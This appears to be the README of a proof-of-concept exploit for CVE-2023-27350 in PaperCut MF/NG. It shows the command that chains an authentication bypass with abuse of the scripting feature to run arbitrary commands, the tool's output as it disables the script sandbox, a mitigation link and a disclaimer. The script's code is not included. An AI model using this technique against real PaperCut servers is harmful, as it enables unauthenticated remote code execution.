CVE-2023-27350 PoC — PaperCut NG 访问控制错误漏洞

Description

Papercut Vulnerability, Affected Versions are PaperCut MF or NG version 8.0 or later (excluding patched versions) on all OS platforms. 

介绍

# CVE-2023-27350
POC for CVE-2023-27350 affecting PaperCut MF/NG

##Affected Versions 'PaperCut MF or NG version 8.0 or later (excluding patched versions) on all OS platforms.'

## Summary
This POC uses an authentication bypass vulnerability chained with abuse of builtin scripting functionality to execute code.

## Usage
```plaintext
python3 CVE-2023-27350.py --url 'http://10.0.40.56:9191' --command calc.exe
[*] Papercut instance is vulnerable! Obtained valid JSESSIONID
[*] Updating print-and-device.script.enabled to Y
[*] Updating print.script.sandboxed to N
[*] Prepparing to execute...
[+] Executed successfully!
[*] Updating print-and-device.script.enabled to N
[*] Updating print.script.sandboxed to Y
```

## Mitigations
Update to the latest version or mitigate by following the instructions within the PaperCut Security Advisory
* https://www.papercut.com/kb/Main/PO-1216-and-PO-1219

## Disclaimer
This software has been created purely for the purposes of academic research and for the development of effective defensive techniques, and is not intended to be used to attack systems except where explicitly authorized. Project maintainers are not responsible or liable for misuse of the software. Use responsibly.

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